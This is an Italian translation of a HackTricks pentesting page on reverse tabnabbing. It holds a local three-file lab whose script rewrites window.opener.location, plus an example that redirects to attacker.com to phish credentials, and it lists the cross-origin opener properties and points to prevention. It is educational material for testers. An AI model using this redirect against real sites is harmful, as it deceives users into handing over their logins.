hacktricks/pentesting-web/reverse-tab-nabbing.md
2024-02-10 13:03:23 +00:00

6.7 KiB

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Descrizione

In una situazione in cui un attaccante può controllare l'argomento href di un tag <a con l'attributo target="_blank" rel="opener" che verrà cliccato da una vittima, l'attaccante può indirizzare questo link a un sito web sotto il suo controllo (un sito web malizioso). Quindi, una volta che la vittima clicca sul link e accede al sito web dell'attaccante, questo sito web malizioso sarà in grado di controllare la pagina originale tramite l'oggetto javascript window.opener.
Se la pagina non ha rel="opener" ma contiene target="_blank" e non ha rel="noopener", potrebbe essere vulnerabile.

Un modo comune per sfruttare questo comportamento sarebbe cambiare la posizione del sito web originale tramite window.opener.location = https://attacker.com/victim.html verso un sito web controllato dall'attaccante che sembra quello originale, in modo da imitare il modulo di accesso del sito web originale e chiedere le credenziali all'utente.

Tuttavia, nota che poiché l'attaccante ora può controllare l'oggetto finestra del sito web originale, può sfruttarlo in altri modi per eseguire attacchi più furtivi (ad esempio modificando gli eventi javascript per esfiltrare informazioni verso un server controllato da lui?)

Panoramica

Con collegamento di ritorno

Collegamento tra pagine padre e figlio quando non viene utilizzato l'attributo di prevenzione:

https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png

Senza collegamento di ritorno

Collegamento tra pagine padre e figlio quando viene utilizzato l'attributo di prevenzione:

https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png

Esempi

Crea le seguenti pagine in una cartella e avvia un server web con python3 -m http.server
Quindi, accedi a http://127.0.0.1:8000/vulnerable.html, clicca sul link e nota come l'URL del sito web originale cambia.

{% code title="vulnerable.html" %}

<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>

{% code title="malicious.html" %}

<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>

{% code title="malicious_redir.html" %}

<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>

{% endcode %}

Proprietà accessibili

Nello scenario in cui si verifica un accesso cross-origin (accesso tra domini diversi), le proprietà dell'istanza della classe JavaScript window, a cui si fa riferimento tramite il riferimento dell'oggetto JavaScript opener, che possono essere accessibili da un sito maligno sono limitate alle seguenti:

  • opener.closed: Questa proprietà viene utilizzata per determinare se una finestra è stata chiusa, restituendo un valore booleano.
  • opener.frames: Questa proprietà fornisce accesso a tutti gli elementi iframe all'interno della finestra corrente.
  • opener.length: Questa proprietà restituisce il numero di elementi iframe presenti nella finestra corrente.
  • opener.opener: È possibile ottenere un riferimento alla finestra che ha aperto la finestra corrente tramite questa proprietà.
  • opener.parent: Questa proprietà restituisce la finestra padre della finestra corrente.
  • opener.self: Questa proprietà fornisce accesso alla finestra corrente stessa.
  • opener.top: Questa proprietà restituisce la finestra del browser in primo piano.

Tuttavia, nei casi in cui i domini sono identici, il sito maligno ottiene accesso a tutte le proprietà esposte dall'oggetto di riferimento JavaScript window.

Prevenzione

Le informazioni sulla prevenzione sono documentate nel HTML5 Cheat Sheet.

Riferimenti

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks: